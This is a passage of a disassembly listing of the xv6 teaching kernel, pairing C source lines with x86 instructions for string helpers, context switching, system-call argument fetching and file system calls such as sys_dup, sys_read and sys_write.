80104e5f: 74 10 je 80104e71 <strlen+0x21> 80104e61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104e68: 83 c0 01 add $0x1,%eax 80104e6b: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 80104e6f: 75 f7 jne 80104e68 <strlen+0x18> ; return n; } 80104e71: 5d pop %ebp 80104e72: c3 ret 80104e73 <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 80104e73: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 80104e77: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 80104e7b: 55 push %ebp pushl %ebx 80104e7c: 53 push %ebx pushl %esi 80104e7d: 56 push %esi pushl %edi 80104e7e: 57 push %edi # Switch stacks movl %esp, (%eax) 80104e7f: 89 20 mov %esp,(%eax) movl %edx, %esp 80104e81: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 80104e83: 5f pop %edi popl %esi 80104e84: 5e pop %esi popl %ebx 80104e85: 5b pop %ebx popl %ebp 80104e86: 5d pop %ebp ret 80104e87: c3 ret 80104e88: 66 90 xchg %ax,%ax 80104e8a: 66 90 xchg %ax,%ax 80104e8c: 66 90 xchg %ax,%ax 80104e8e: 66 90 xchg %ax,%ax 80104e90 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 80104e90: f3 0f 1e fb endbr32 80104e94: 55 push %ebp 80104e95: 89 e5 mov %esp,%ebp 80104e97: 53 push %ebx 80104e98: 83 ec 04 sub $0x4,%esp 80104e9b: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 80104e9e: e8 ed ea ff ff call 80103990 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 80104ea3: 8b 00 mov (%eax),%eax 80104ea5: 39 d8 cmp %ebx,%eax 80104ea7: 76 17 jbe 80104ec0 <fetchint+0x30> 80104ea9: 8d 53 04 lea 0x4(%ebx),%edx 80104eac: 39 d0 cmp %edx,%eax 80104eae: 72 10 jb 80104ec0 <fetchint+0x30> return -1; *ip = *(int*)(addr); 80104eb0: 8b 45 0c mov 0xc(%ebp),%eax 80104eb3: 8b 13 mov (%ebx),%edx 80104eb5: 89 10 mov %edx,(%eax) return 0; 80104eb7: 31 c0 xor %eax,%eax } 80104eb9: 83 c4 04 add $0x4,%esp 80104ebc: 5b pop %ebx 80104ebd: 5d pop %ebp 80104ebe: c3 ret 80104ebf: 90 nop return -1; 80104ec0: b8 ff ff ff ff mov $0xffffffff,%eax 80104ec5: eb f2 jmp 80104eb9 <fetchint+0x29> 80104ec7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104ece: 66 90 xchg %ax,%ax 80104ed0 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 80104ed0: f3 0f 1e fb endbr32 80104ed4: 55 push %ebp 80104ed5: 89 e5 mov %esp,%ebp 80104ed7: 53 push %ebx 80104ed8: 83 ec 04 sub $0x4,%esp 80104edb: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 80104ede: e8 ad ea ff ff call 80103990 <myproc> if(addr >= curproc->sz) 80104ee3: 39 18 cmp %ebx,(%eax) 80104ee5: 76 31 jbe 80104f18 <fetchstr+0x48> return -1; *pp = (char*)addr; 80104ee7: 8b 55 0c mov 0xc(%ebp),%edx 80104eea: 89 1a mov %ebx,(%edx) ep = (char*)curproc->sz; 80104eec: 8b 10 mov (%eax),%edx for(s = *pp; s < ep; s++){ 80104eee: 39 d3 cmp %edx,%ebx 80104ef0: 73 26 jae 80104f18 <fetchstr+0x48> 80104ef2: 89 d8 mov %ebx,%eax 80104ef4: eb 11 jmp 80104f07 <fetchstr+0x37> 80104ef6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104efd: 8d 76 00 lea 0x0(%esi),%esi 80104f00: 83 c0 01 add $0x1,%eax 80104f03: 39 c2 cmp %eax,%edx 80104f05: 76 11 jbe 80104f18 <fetchstr+0x48> if(*s == 0) 80104f07: 80 38 00 cmpb $0x0,(%eax) 80104f0a: 75 f4 jne 80104f00 <fetchstr+0x30> return s - *pp; } return -1; } 80104f0c: 83 c4 04 add $0x4,%esp return s - *pp; 80104f0f: 29 d8 sub %ebx,%eax } 80104f11: 5b pop %ebx 80104f12: 5d pop %ebp 80104f13: c3 ret 80104f14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104f18: 83 c4 04 add $0x4,%esp return -1; 80104f1b: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f20: 5b pop %ebx 80104f21: 5d pop %ebp 80104f22: c3 ret 80104f23: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104f2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104f30 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104f30: f3 0f 1e fb endbr32 80104f34: 55 push %ebp 80104f35: 89 e5 mov %esp,%ebp 80104f37: 56 push %esi 80104f38: 53 push %ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104f39: e8 52 ea ff ff call 80103990 <myproc> 80104f3e: 8b 55 08 mov 0x8(%ebp),%edx 80104f41: 8b 40 18 mov 0x18(%eax),%eax 80104f44: 8b 40 44 mov 0x44(%eax),%eax 80104f47: 8d 1c 90 lea (%eax,%edx,4),%ebx struct proc *curproc = myproc(); 80104f4a: e8 41 ea ff ff call 80103990 <myproc> return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104f4f: 8d 73 04 lea 0x4(%ebx),%esi if(addr >= curproc->sz || addr+4 > curproc->sz) 80104f52: 8b 00 mov (%eax),%eax 80104f54: 39 c6 cmp %eax,%esi 80104f56: 73 18 jae 80104f70 <argint+0x40> 80104f58: 8d 53 08 lea 0x8(%ebx),%edx 80104f5b: 39 d0 cmp %edx,%eax 80104f5d: 72 11 jb 80104f70 <argint+0x40> *ip = *(int*)(addr); 80104f5f: 8b 45 0c mov 0xc(%ebp),%eax 80104f62: 8b 53 04 mov 0x4(%ebx),%edx 80104f65: 89 10 mov %edx,(%eax) return 0; 80104f67: 31 c0 xor %eax,%eax } 80104f69: 5b pop %ebx 80104f6a: 5e pop %esi 80104f6b: 5d pop %ebp 80104f6c: c3 ret 80104f6d: 8d 76 00 lea 0x0(%esi),%esi return -1; 80104f70: b8 ff ff ff ff mov $0xffffffff,%eax return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104f75: eb f2 jmp 80104f69 <argint+0x39> 80104f77: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104f7e: 66 90 xchg %ax,%ax 80104f80 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104f80: f3 0f 1e fb endbr32 80104f84: 55 push %ebp 80104f85: 89 e5 mov %esp,%ebp 80104f87: 56 push %esi 80104f88: 53 push %ebx 80104f89: 83 ec 10 sub $0x10,%esp 80104f8c: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 80104f8f: e8 fc e9 ff ff call 80103990 <myproc> if(argint(n, &i) < 0) 80104f94: 83 ec 08 sub $0x8,%esp struct proc *curproc = myproc(); 80104f97: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 80104f99: 8d 45 f4 lea -0xc(%ebp),%eax 80104f9c: 50 push %eax 80104f9d: ff 75 08 pushl 0x8(%ebp) 80104fa0: e8 8b ff ff ff call 80104f30 <argint> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 80104fa5: 83 c4 10 add $0x10,%esp 80104fa8: 85 c0 test %eax,%eax 80104faa: 78 24 js 80104fd0 <argptr+0x50> 80104fac: 85 db test %ebx,%ebx 80104fae: 78 20 js 80104fd0 <argptr+0x50> 80104fb0: 8b 16 mov (%esi),%edx 80104fb2: 8b 45 f4 mov -0xc(%ebp),%eax 80104fb5: 39 c2 cmp %eax,%edx 80104fb7: 76 17 jbe 80104fd0 <argptr+0x50> 80104fb9: 01 c3 add %eax,%ebx 80104fbb: 39 da cmp %ebx,%edx 80104fbd: 72 11 jb 80104fd0 <argptr+0x50> return -1; *pp = (char*)i; 80104fbf: 8b 55 0c mov 0xc(%ebp),%edx 80104fc2: 89 02 mov %eax,(%edx) return 0; 80104fc4: 31 c0 xor %eax,%eax } 80104fc6: 8d 65 f8 lea -0x8(%ebp),%esp 80104fc9: 5b pop %ebx 80104fca: 5e pop %esi 80104fcb: 5d pop %ebp 80104fcc: c3 ret 80104fcd: 8d 76 00 lea 0x0(%esi),%esi return -1; 80104fd0: b8 ff ff ff ff mov $0xffffffff,%eax 80104fd5: eb ef jmp 80104fc6 <argptr+0x46> 80104fd7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104fde: 66 90 xchg %ax,%ax 80104fe0 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80104fe0: f3 0f 1e fb endbr32 80104fe4: 55 push %ebp 80104fe5: 89 e5 mov %esp,%ebp 80104fe7: 83 ec 20 sub $0x20,%esp int addr; if(argint(n, &addr) < 0) 80104fea: 8d 45 f4 lea -0xc(%ebp),%eax 80104fed: 50 push %eax 80104fee: ff 75 08 pushl 0x8(%ebp) 80104ff1: e8 3a ff ff ff call 80104f30 <argint> 80104ff6: 83 c4 10 add $0x10,%esp 80104ff9: 85 c0 test %eax,%eax 80104ffb: 78 13 js 80105010 <argstr+0x30> return -1; return fetchstr(addr, pp); 80104ffd: 83 ec 08 sub $0x8,%esp 80105000: ff 75 0c pushl 0xc(%ebp) 80105003: ff 75 f4 pushl -0xc(%ebp) 80105006: e8 c5 fe ff ff call 80104ed0 <fetchstr> 8010500b: 83 c4 10 add $0x10,%esp } 8010500e: c9 leave 8010500f: c3 ret 80105010: c9 leave return -1; 80105011: b8 ff ff ff ff mov $0xffffffff,%eax } 80105016: c3 ret 80105017: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010501e: 66 90 xchg %ax,%ax 80105020 <syscall>: //my insert end }; void syscall(void) { 80105020: f3 0f 1e fb endbr32 80105024: 55 push %ebp 80105025: 89 e5 mov %esp,%ebp 80105027: 53 push %ebx 80105028: 83 ec 04 sub $0x4,%esp int num; struct proc *curproc = myproc(); 8010502b: e8 60 e9 ff ff call 80103990 <myproc> 80105030: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 80105032: 8b 40 18 mov 0x18(%eax),%eax 80105035: 8b 40 1c mov 0x1c(%eax),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80105038: 8d 50 ff lea -0x1(%eax),%edx 8010503b: 83 fa 17 cmp $0x17,%edx 8010503e: 77 20 ja 80105060 <syscall+0x40> 80105040: 8b 14 85 c0 7f 10 80 mov -0x7fef8040(,%eax,4),%edx 80105047: 85 d2 test %edx,%edx 80105049: 74 15 je 80105060 <syscall+0x40> curproc->tf->eax = syscalls[num](); 8010504b: ff d2 call *%edx 8010504d: 89 c2 mov %eax,%edx 8010504f: 8b 43 18 mov 0x18(%ebx),%eax 80105052: 89 50 1c mov %edx,0x1c(%eax) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 80105055: 8b 5d fc mov -0x4(%ebp),%ebx 80105058: c9 leave 80105059: c3 ret 8010505a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("%d %s: unknown sys call %d\n", 80105060: 50 push %eax curproc->pid, curproc->name, num); 80105061: 8d 43 6c lea 0x6c(%ebx),%eax cprintf("%d %s: unknown sys call %d\n", 80105064: 50 push %eax 80105065: ff 73 10 pushl 0x10(%ebx) 80105068: 68 8d 7f 10 80 push $0x80107f8d 8010506d: e8 3e b6 ff ff call 801006b0 <cprintf> curproc->tf->eax = -1; 80105072: 8b 43 18 mov 0x18(%ebx),%eax 80105075: 83 c4 10 add $0x10,%esp 80105078: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 8010507f: 8b 5d fc mov -0x4(%ebp),%ebx 80105082: c9 leave 80105083: c3 ret 80105084: 66 90 xchg %ax,%ax 80105086: 66 90 xchg %ax,%ax 80105088: 66 90 xchg %ax,%ax 8010508a: 66 90 xchg %ax,%ax 8010508c: 66 90 xchg %ax,%ax 8010508e: 66 90 xchg %ax,%ax 80105090 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80105090: 55 push %ebp 80105091: 89 e5 mov %esp,%ebp 80105093: 57 push %edi 80105094: 56 push %esi struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80105095: 8d 7d da lea -0x26(%ebp),%edi { 80105098: 53 push %ebx 80105099: 83 ec 34 sub $0x34,%esp 8010509c: 89 4d d0 mov %ecx,-0x30(%ebp) 8010509f: 8b 4d 08 mov 0x8(%ebp),%ecx if((dp = nameiparent(path, name)) == 0) 801050a2: 57 push %edi 801050a3: 50 push %eax { 801050a4: 89 55 d4 mov %edx,-0x2c(%ebp) 801050a7: 89 4d cc mov %ecx,-0x34(%ebp) if((dp = nameiparent(path, name)) == 0) 801050aa: e8 a1 cf ff ff call 80102050 <nameiparent> 801050af: 83 c4 10 add $0x10,%esp 801050b2: 85 c0 test %eax,%eax 801050b4: 0f 84 46 01 00 00 je 80105200 <create+0x170> return 0; ilock(dp); 801050ba: 83 ec 0c sub $0xc,%esp 801050bd: 89 c3 mov %eax,%ebx 801050bf: 50 push %eax 801050c0: e8 9b c6 ff ff call 80101760 <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 801050c5: 83 c4 0c add $0xc,%esp 801050c8: 6a 00 push $0x0 801050ca: 57 push %edi 801050cb: 53 push %ebx 801050cc: e8 df cb ff ff call 80101cb0 <dirlookup> 801050d1: 83 c4 10 add $0x10,%esp 801050d4: 89 c6 mov %eax,%esi 801050d6: 85 c0 test %eax,%eax 801050d8: 74 56 je 80105130 <create+0xa0> iunlockput(dp); 801050da: 83 ec 0c sub $0xc,%esp 801050dd: 53 push %ebx 801050de: e8 1d c9 ff ff call 80101a00 <iunlockput> ilock(ip); 801050e3: 89 34 24 mov %esi,(%esp) 801050e6: e8 75 c6 ff ff call 80101760 <ilock> if(type == T_FILE && ip->type == T_FILE) 801050eb: 83 c4 10 add $0x10,%esp 801050ee: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 801050f3: 75 1b jne 80105110 <create+0x80> 801050f5: 66 83 7e 50 02 cmpw $0x2,0x50(%esi) 801050fa: 75 14 jne 80105110 <create+0x80> panic("create: dirlink"); iunlockput(dp); return ip; } 801050fc: 8d 65 f4 lea -0xc(%ebp),%esp 801050ff: 89 f0 mov %esi,%eax 80105101: 5b pop %ebx 80105102: 5e pop %esi 80105103: 5f pop %edi 80105104: 5d pop %ebp 80105105: c3 ret 80105106: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010510d: 8d 76 00 lea 0x0(%esi),%esi iunlockput(ip); 80105110: 83 ec 0c sub $0xc,%esp 80105113: 56 push %esi return 0; 80105114: 31 f6 xor %esi,%esi iunlockput(ip); 80105116: e8 e5 c8 ff ff call 80101a00 <iunlockput> return 0; 8010511b: 83 c4 10 add $0x10,%esp } 8010511e: 8d 65 f4 lea -0xc(%ebp),%esp 80105121: 89 f0 mov %esi,%eax 80105123: 5b pop %ebx 80105124: 5e pop %esi 80105125: 5f pop %edi 80105126: 5d pop %ebp 80105127: c3 ret 80105128: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010512f: 90 nop if((ip = ialloc(dp->dev, type)) == 0) 80105130: 0f bf 45 d4 movswl -0x2c(%ebp),%eax 80105134: 83 ec 08 sub $0x8,%esp 80105137: 50 push %eax 80105138: ff 33 pushl (%ebx) 8010513a: e8 a1 c4 ff ff call 801015e0 <ialloc> 8010513f: 83 c4 10 add $0x10,%esp 80105142: 89 c6 mov %eax,%esi 80105144: 85 c0 test %eax,%eax 80105146: 0f 84 cd 00 00 00 je 80105219 <create+0x189> ilock(ip); 8010514c: 83 ec 0c sub $0xc,%esp 8010514f: 50 push %eax 80105150: e8 0b c6 ff ff call 80101760 <ilock> ip->major = major; 80105155: 0f b7 45 d0 movzwl -0x30(%ebp),%eax 80105159: 66 89 46 52 mov %ax,0x52(%esi) ip->minor = minor; 8010515d: 0f b7 45 cc movzwl -0x34(%ebp),%eax 80105161: 66 89 46 54 mov %ax,0x54(%esi) ip->nlink = 1; 80105165: b8 01 00 00 00 mov $0x1,%eax 8010516a: 66 89 46 56 mov %ax,0x56(%esi) iupdate(ip); 8010516e: 89 34 24 mov %esi,(%esp) 80105171: e8 2a c5 ff ff call 801016a0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80105176: 83 c4 10 add $0x10,%esp 80105179: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 8010517e: 74 30 je 801051b0 <create+0x120> if(dirlink(dp, name, ip->inum) < 0) 80105180: 83 ec 04 sub $0x4,%esp 80105183: ff 76 04 pushl 0x4(%esi) 80105186: 57 push %edi 80105187: 53 push %ebx 80105188: e8 e3 cd ff ff call 80101f70 <dirlink> 8010518d: 83 c4 10 add $0x10,%esp 80105190: 85 c0 test %eax,%eax 80105192: 78 78 js 8010520c <create+0x17c> iunlockput(dp); 80105194: 83 ec 0c sub $0xc,%esp 80105197: 53 push %ebx 80105198: e8 63 c8 ff ff call 80101a00 <iunlockput> return ip; 8010519d: 83 c4 10 add $0x10,%esp } 801051a0: 8d 65 f4 lea -0xc(%ebp),%esp 801051a3: 89 f0 mov %esi,%eax 801051a5: 5b pop %ebx 801051a6: 5e pop %esi 801051a7: 5f pop %edi 801051a8: 5d pop %ebp 801051a9: c3 ret 801051aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi iupdate(dp); 801051b0: 83 ec 0c sub $0xc,%esp dp->nlink++; // for ".." 801051b3: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(dp); 801051b8: 53 push %ebx 801051b9: e8 e2 c4 ff ff call 801016a0 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 801051be: 83 c4 0c add $0xc,%esp 801051c1: ff 76 04 pushl 0x4(%esi) 801051c4: 68 40 80 10 80 push $0x80108040 801051c9: 56 push %esi 801051ca: e8 a1 cd ff ff call 80101f70 <dirlink> 801051cf: 83 c4 10 add $0x10,%esp 801051d2: 85 c0 test %eax,%eax 801051d4: 78 18 js 801051ee <create+0x15e> 801051d6: 83 ec 04 sub $0x4,%esp 801051d9: ff 73 04 pushl 0x4(%ebx) 801051dc: 68 3f 80 10 80 push $0x8010803f 801051e1: 56 push %esi 801051e2: e8 89 cd ff ff call 80101f70 <dirlink> 801051e7: 83 c4 10 add $0x10,%esp 801051ea: 85 c0 test %eax,%eax 801051ec: 79 92 jns 80105180 <create+0xf0> panic("create dots"); 801051ee: 83 ec 0c sub $0xc,%esp 801051f1: 68 33 80 10 80 push $0x80108033 801051f6: e8 95 b1 ff ff call 80100390 <panic> 801051fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801051ff: 90 nop } 80105200: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80105203: 31 f6 xor %esi,%esi } 80105205: 5b pop %ebx 80105206: 89 f0 mov %esi,%eax 80105208: 5e pop %esi 80105209: 5f pop %edi 8010520a: 5d pop %ebp 8010520b: c3 ret panic("create: dirlink"); 8010520c: 83 ec 0c sub $0xc,%esp 8010520f: 68 42 80 10 80 push $0x80108042 80105214: e8 77 b1 ff ff call 80100390 <panic> panic("create: ialloc"); 80105219: 83 ec 0c sub $0xc,%esp 8010521c: 68 24 80 10 80 push $0x80108024 80105221: e8 6a b1 ff ff call 80100390 <panic> 80105226: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010522d: 8d 76 00 lea 0x0(%esi),%esi 80105230 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80105230: 55 push %ebp 80105231: 89 e5 mov %esp,%ebp 80105233: 56 push %esi 80105234: 89 d6 mov %edx,%esi 80105236: 53 push %ebx 80105237: 89 c3 mov %eax,%ebx if(argint(n, &fd) < 0) 80105239: 8d 45 f4 lea -0xc(%ebp),%eax argfd(int n, int *pfd, struct file **pf) 8010523c: 83 ec 18 sub $0x18,%esp if(argint(n, &fd) < 0) 8010523f: 50 push %eax 80105240: 6a 00 push $0x0 80105242: e8 e9 fc ff ff call 80104f30 <argint> 80105247: 83 c4 10 add $0x10,%esp 8010524a: 85 c0 test %eax,%eax 8010524c: 78 2a js 80105278 <argfd.constprop.0+0x48> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 8010524e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80105252: 77 24 ja 80105278 <argfd.constprop.0+0x48> 80105254: e8 37 e7 ff ff call 80103990 <myproc> 80105259: 8b 55 f4 mov -0xc(%ebp),%edx 8010525c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80105260: 85 c0 test %eax,%eax 80105262: 74 14 je 80105278 <argfd.constprop.0+0x48> if(pfd) 80105264: 85 db test %ebx,%ebx 80105266: 74 02 je 8010526a <argfd.constprop.0+0x3a> *pfd = fd; 80105268: 89 13 mov %edx,(%ebx) *pf = f; 8010526a: 89 06 mov %eax,(%esi) return 0; 8010526c: 31 c0 xor %eax,%eax } 8010526e: 8d 65 f8 lea -0x8(%ebp),%esp 80105271: 5b pop %ebx 80105272: 5e pop %esi 80105273: 5d pop %ebp 80105274: c3 ret 80105275: 8d 76 00 lea 0x0(%esi),%esi return -1; 80105278: b8 ff ff ff ff mov $0xffffffff,%eax 8010527d: eb ef jmp 8010526e <argfd.constprop.0+0x3e> 8010527f: 90 nop 80105280 <sys_dup>: { 80105280: f3 0f 1e fb endbr32 80105284: 55 push %ebp if(argfd(0, 0, &f) < 0) 80105285: 31 c0 xor %eax,%eax { 80105287: 89 e5 mov %esp,%ebp 80105289: 56 push %esi 8010528a: 53 push %ebx if(argfd(0, 0, &f) < 0) 8010528b: 8d 55 f4 lea -0xc(%ebp),%edx { 8010528e: 83 ec 10 sub $0x10,%esp if(argfd(0, 0, &f) < 0) 80105291: e8 9a ff ff ff call 80105230 <argfd.constprop.0> 80105296: 85 c0 test %eax,%eax 80105298: 78 1e js 801052b8 <sys_dup+0x38> if((fd=fdalloc(f)) < 0) 8010529a: 8b 75 f4 mov -0xc(%ebp),%esi for(fd = 0; fd < NOFILE; fd++){ 8010529d: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 8010529f: e8 ec e6 ff ff call 80103990 <myproc> for(fd = 0; fd < NOFILE; fd++){ 801052a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[fd] == 0){ 801052a8: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 801052ac: 85 d2 test %edx,%edx 801052ae: 74 20 je 801052d0 <sys_dup+0x50> for(fd = 0; fd < NOFILE; fd++){ 801052b0: 83 c3 01 add $0x1,%ebx 801052b3: 83 fb 10 cmp $0x10,%ebx 801052b6: 75 f0 jne 801052a8 <sys_dup+0x28> } 801052b8: 8d 65 f8 lea -0x8(%ebp),%esp return -1; 801052bb: bb ff ff ff ff mov $0xffffffff,%ebx } 801052c0: 89 d8 mov %ebx,%eax 801052c2: 5b pop %ebx 801052c3: 5e pop %esi 801052c4: 5d pop %ebp 801052c5: c3 ret 801052c6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801052cd: 8d 76 00 lea 0x0(%esi),%esi curproc->ofile[fd] = f; 801052d0: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4) filedup(f); 801052d4: 83 ec 0c sub $0xc,%esp 801052d7: ff 75 f4 pushl -0xc(%ebp) 801052da: e8 91 bb ff ff call 80100e70 <filedup> return fd; 801052df: 83 c4 10 add $0x10,%esp } 801052e2: 8d 65 f8 lea -0x8(%ebp),%esp 801052e5: 89 d8 mov %ebx,%eax 801052e7: 5b pop %ebx 801052e8: 5e pop %esi 801052e9: 5d pop %ebp 801052ea: c3 ret 801052eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801052ef: 90 nop 801052f0 <sys_read>: { 801052f0: f3 0f 1e fb endbr32 801052f4: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801052f5: 31 c0 xor %eax,%eax { 801052f7: 89 e5 mov %esp,%ebp 801052f9: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801052fc: 8d 55 ec lea -0x14(%ebp),%edx 801052ff: e8 2c ff ff ff call 80105230 <argfd.constprop.0> 80105304: 85 c0 test %eax,%eax 80105306: 78 48 js 80105350 <sys_read+0x60> 80105308: 83 ec 08 sub $0x8,%esp 8010530b: 8d 45 f0 lea -0x10(%ebp),%eax 8010530e: 50 push %eax 8010530f: 6a 02 push $0x2 80105311: e8 1a fc ff ff call 80104f30 <argint> 80105316: 83 c4 10 add $0x10,%esp 80105319: 85 c0 test %eax,%eax 8010531b: 78 33 js 80105350 <sys_read+0x60> 8010531d: 83 ec 04 sub $0x4,%esp 80105320: 8d 45 f4 lea -0xc(%ebp),%eax 80105323: ff 75 f0 pushl -0x10(%ebp) 80105326: 50 push %eax 80105327: 6a 01 push $0x1 80105329: e8 52 fc ff ff call 80104f80 <argptr> 8010532e: 83 c4 10 add $0x10,%esp 80105331: 85 c0 test %eax,%eax 80105333: 78 1b js 80105350 <sys_read+0x60> return fileread(f, p, n); 80105335: 83 ec 04 sub $0x4,%esp 80105338: ff 75 f0 pushl -0x10(%ebp) 8010533b: ff 75 f4 pushl -0xc(%ebp) 8010533e: ff 75 ec pushl -0x14(%ebp) 80105341: e8 aa bc ff ff call 80100ff0 <fileread> 80105346: 83 c4 10 add $0x10,%esp } 80105349: c9 leave 8010534a: c3 ret 8010534b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010534f: 90 nop 80105350: c9 leave return -1; 80105351: b8 ff ff ff ff mov $0xffffffff,%eax } 80105356: c3 ret 80105357: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010535e: 66 90 xchg %ax,%ax 80105360 <sys_write>: { 80105360: f3 0f 1e fb endbr32 80105364: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80105365: 31 c0 xor %eax,%eax { 80105367: 89 e5 mov %esp,%ebp 80105369: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 8010536c: 8d 55 ec lea -0x14(%ebp),%edx 8010536f: e8 bc fe ff ff call 80105230 <argfd.constprop.0> 80105374: 85 c0 test %eax,%eax 80105376: 78 48 js 801053c0 <sys_write+0x60> 80105378: 83 ec 08 sub $0x8,%esp 8010537b: 8d 45 f0 lea -0x10(%ebp),%eax 8010537e: 50 push %eax 8010537f: 6a 02 push $0x2 80105381: e8 aa fb ff ff call 80104f30 <argint> 80105386: 83 c4 10 add $0x10,%esp 80105389: 85 c0 test %eax,%eax 8010538b: 78 33 js 801053c0 <sys_write+0x60> 8010538d: 83 ec 04 sub $0x4,%esp 80105390: 8d 45 f4 lea -0xc(%ebp),%eax 80105393: ff 75 f0 pushl -0x10(%ebp) 80105396: 50 push %eax 80105397: 6a 01 push $0x1 80105399: e8 e2 fb ff ff call 80104f80 <argptr> 8010539e: 83 c4 10 add $0x10,%esp 801053a1: 85 c0 test %eax,%eax 801053a3: 78 1b js 801053c0 <sys_write+0x60> return filewrite(f, p, n); 801053a5: 83 ec 04 sub $0x4,%esp 801053a8: ff 75 f0 pushl -0x10(%ebp) 801053ab: ff 75 f4 pushl -0xc(%ebp) 801053ae: ff 75 ec pushl -0x14(%ebp) 801053b1: e8 da bc ff ff call 80101090 <filewrite> 801053b6: 83 c4 10 add $0x10,%esp } 801053b9: c9 leave 801053ba: c3 ret 801053bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801053bf: 90 nop 801053c0: c9 leave return -1; 801053c1: b8 ff ff ff ff mov $0xffffffff,%eax } 801053c6: c3 ret 801053c7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801053ce: 66 90 xchg %ax,%ax 801053d0 <sys_close>: { 801053d0: f3 0f 1e fb endbr32 801053d4: 55 push %ebp 801053d5: 89 e5 mov %esp,%ebp 801053d7: 83 ec 18 sub $0x18,%esp if(argfd(0, &fd, &f) < 0) 801053da: 8d 55 f4 lea -0xc(%ebp),%edx 801053dd: 8d 45 f0 lea -0x10(%ebp),%eax 801053e0: e8 4b fe ff ff call 80105230 <argfd.constprop.0> 801053e5: 85 c0 test %eax,%eax 801053e7: 78 27 js 80105410 <sys_close+0x40> myproc()->ofile[fd] = 0; 801053e9: e8 a2 e5 ff ff call 80103990 <myproc> 801053ee: 8b 55 f0 mov -0x10(%ebp),%edx fileclose(f); 801053f1: 83 ec 0c sub $0xc,%esp myproc()->ofile[fd] = 0; 801053f4: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 801053fb: 00 fileclose(f); 801053fc: ff 75 f4 pushl 